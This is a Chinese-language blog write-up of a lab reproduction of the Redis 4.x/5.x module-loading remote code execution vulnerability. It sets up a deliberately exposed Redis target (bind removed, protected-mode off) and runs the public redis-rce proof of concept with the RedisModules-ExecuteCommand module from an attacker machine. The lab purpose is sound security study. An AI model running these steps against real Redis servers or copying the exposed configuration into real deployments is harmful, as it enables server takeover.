本文首發于我的個人博客,記錄了我在實驗室學習滲透測驗所做的第二個漏洞復現,全部程序記錄在此,以便后續查看,同時也希望本文能對您有所幫助,
同時,若文章有什么錯誤,請到我的個人博客進行核對,或者請在評論區告知,謝謝!
前言
Redis簡介
Redis是一個高性能的key-value存盤系統,支持多種value型別,提供了Java, C/C++, C#, PHP, JavaScript, Perl, Object-C, Python, Ruby, Erlang等客戶端,
實驗環境
- 攻擊機:Kali 192.168.227.128
- 靶機:Kali 192.168.227.129
- 影響范圍:Redis4.x、5.x
靶機安裝Redis包
-
下載Redis包:
wget download.redis.io/releases/redis-4.0.11.tar.gz -
解壓安裝包
tar xzvf redis-4.0.11.tar.gz當前目錄下會出現一個名為``redis-4.0.11`的檔案夾,
-
make安裝
進入檔案夾,在usr/local/redis目錄下安裝redis:
make PREFIX=/usr/local/redis install之后命令列刷屏,等待一會后,出現如下提示,安裝結束:
-
檢查安裝是否有問題
安裝命令列提示,輸入:
make test等待一會兒,若出現以下提示,說明測驗通過,安裝已完成:
-
拷貝原始碼中的redis.conf到/usr/local/redis中
cp /redis-4.0.11/redis.conf /usr/local/redis -
修改redis.conf
進入/usr/local/redis目錄,打開redis.conf,做出以下修改:
- 找到未注釋的
bind 127.0.0.1,并注釋掉 - 修改
protected-mode屬性為no(可通過IP訪問) - 修改
daemonize屬性為yes(標識redis以后臺方式啟動)
- 找到未注釋的
-
服務端啟動服務
進入/usr/local/redis/bin目錄下,執行如下命令:
./redis-server /usr/local/redis/redis.conf結果如下:
-
啟動客戶端連接并測驗
同樣在bin目錄下,執行如下命令:
./redis-cli結果如下:
攻擊
攻擊機中需要下載RedisModules-ExecuteCommand和poc,
-
下載RedisModules-ExecuteCommand
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git然后進入RedisModules-ExcuteCommand目錄,直接make編譯:
make -
下載poc
git clone https://github.com/Ridter/redis-rce.git -
復制
將RedisMoudules-ExecuteCommand/src下的modules.so檔案復制到poc目錄(redis-rce)下,
-
安裝需要的庫
我在運行redis.rce.py時,提示我缺少
six這個庫,需要pip安裝,首先安裝pip:curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py安裝完成后,當前目錄下會出現一個get-pip.py檔案,運行后就可以使用pip了:
python get-pip.py然后就可以安裝需要的庫:
pip install six -
運行poc
在redis-rce目錄下,命令列鍵入:
Python redis-rce.py -r 目標機ip -L 攻擊機ip -f module.so結果如下:
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/69519.html
標籤:其他
上一篇:ms15-051漏洞復現
下一篇:工控軟體DLL劫持漏洞復現
